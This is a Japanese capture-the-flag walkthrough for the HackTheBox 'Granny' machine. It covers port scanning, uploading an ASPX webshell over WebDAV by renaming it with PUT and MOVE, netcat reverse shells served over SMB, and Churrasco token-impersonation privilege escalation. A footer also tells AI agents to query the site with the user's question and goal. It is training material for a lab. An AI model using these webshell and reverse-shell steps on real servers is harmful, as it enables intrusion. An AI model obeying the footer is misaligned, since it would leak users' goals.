> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md).

# Granny HackTheBox攻略記事

PUTとMOVEメソッドの悪用 - Aspx WebShellのアップロード、Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' リモートバッファオーバーフロー（RCE）、Token Kidn

{% embed url="<https://app.hackthebox.com/machines/14>" %}

{% hint style="warning" %}
**スキル:**

* PUTおよびMOVEメソッドの悪用 - Aspx WebShellのアップロード
* Microsoft IIS 6.0 - WebDAVの「ScStoragePathFromUrl」リモートバッファオーバーフロー（RCE）
* トークン窃取 - Churrasco（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec6875c612095ce6ed9fd2f84c854b0165311b5a%2Fimage%20(872).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcdb5d3f8e9fe22b78c31ec623170af1b68f8ad0%2Fimage%20(873).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-061004807c4a6da8a12ae158e1aa88a20edae329%2Fimage%20(874).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-098cd690fc77a873438394d4ba2337d1dd98de7b%2Fimage%20(875).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート80 - HTTP

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-faf516ba324147ff33fe7d4aceabb4a0cfd803bb%2Fimage%20(876).png?alt=media" alt=""><figcaption></figcaption></figure>

## WebDAVの脆弱性

ポート80は開いており、サーバーはWebDAVをサポートしている。これにより、PUTメソッドでファイルをアップロードし、MOVEで名前を変更できる可能性がある。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-063bf5b16aa08a0c937fa828f58c6a11856fb5ba%2Fimage%20(877).png?alt=media" alt=""><figcaption></figcaption></figure>

テストファイルを作成する：

```bash
echo "this is a test" > test.txt
```

サーバーに接続するには **cadaver** ツール：

```bash
cadaver 10.10.10.15
```

PUTコマンドでファイルのアップロードを試す：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e56f1e6d759304a190160d5866b126a62746d577%2Fimage%20(879).png?alt=media" alt=""><figcaption></figcaption></figure>

* 結果: 成功。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-124a9083f39a3e7e53930307aecb5b701e00a516%2Fimage%20(878).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Webシェルのアップロード**

既存のASPX WebShellをコピーする：

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

直接アップロードしてみる：

```powershell
put aspx_cmd.aspx
```

結果: 失敗（サーバーは.asxp拡張子のファイルをブロックする）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e9c62765e574591042e7651de6d1a1c40775bd9%2Fimage%20(880).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

拡張子を **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt
```

再度アップロードを試す：

```powershell
PUT cmd.txt
```

* 結果: 成功。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a54a685c7956c31ea6d21afd19a35fd2f0cc867b%2Fimage%20(882).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### MOVEでファイル名を変更して拡張子を元に戻す：

```powershell
move cmd.txt cmd.aspx
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-748149579877b5e4af9d895f7e6acf1c6aa3ff6a%2Fimage%20(883).png?alt=media" alt=""><figcaption></figcaption></figure>

ブラウザからWebShellにアクセスする：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5ed66749ef5e64c75ce0c6a3bfc1406d324e4ad%2Fimage%20(884).png?alt=media" alt=""><figcaption></figcaption></figure>

### **WebShell経由でリバースシェルを取得する：**

現在のディレクトリにNetcatの実行ファイルを配置する：

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

ファイルを共有するためにSMBサーバーを起動する：

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

自分のマシンでポート443を待ち受ける：

```bash
sudo rlwrap nc -nvlp 443
```

WebShellからリバースシェルのコマンドを実行する：

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d2b5943177ce0de6355993c9327a9f6eb603835%2Fimage%20(885).png?alt=media" alt=""><figcaption></figcaption></figure>

## **権限昇格：**

### カーネルエクスプロイト - Windows Server 2003

を使用して `systeminfo` コマンドを実行すると、対象マシンはかなり古いことがわかる（Windows Server 2003）：

```bash
systeminfo
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3480c7c9748f9c9b8bd5f29ac222ef494cb7bca2%2Fimage%20(2658).png?alt=media" alt=""><figcaption></figcaption></figure>

また、私たちは `SeImpersonatePrivilege` 権限も持っているため、権限昇格を試みることができる。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-134a6abd9f21422d639ab16e4af960e8995c0acc%2Fimage%20(2662).png?alt=media" alt=""><figcaption></figcaption></figure>

この制限を回避するために、 **churrasco.exe** ツールを使用する。

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Windowsファイル転送（SMB）/*/*

> 次を使用します **smbserver.py** エクスプロイトファイル40627.exeを含むディレクトリを共有する。このファイルはその後、ターゲットマシンにコピーされる。

```bash
smbserver.py share $(pwd) -smb2support
```

ターゲットマシンから、SMBコマンドを使って悪意のあるファイルをコピーした：

```bash
copy //10.10.14.30/share/churrasco.exe churrasco.exe
```

すると、このバイナリで任意のコマンドを実行できる。例えば：

```powershell
./churrasco.exe "whoami"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72c9b85d21b3083ff772843ef8696245beb215dd%2Fimage%20(2663).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**シェルをリバースする**

リバースシェルを確立するには、ポート443で待ち受ける：

```bash
sudo rlwrap nc -nvlp 443
```

次の構成でSMBサーバーを再作成する： **nc.exe**:

```bash
smbserver.py share $(pwd) -smb2support
```

最後に、次のコマンドでリバースシェルを実行する：

```bash
./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88b68e3706e7ad0eaa692f7ad6170adb0e8ca226%2Fimage%20(2664).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5a61e1621ed7a529aa55f423373b4ba478a591a7%2Fimage%20(2665).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6bd815001e2de0ae2c70f08799052f5253a1bc91%2Fimage%20(2666).png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
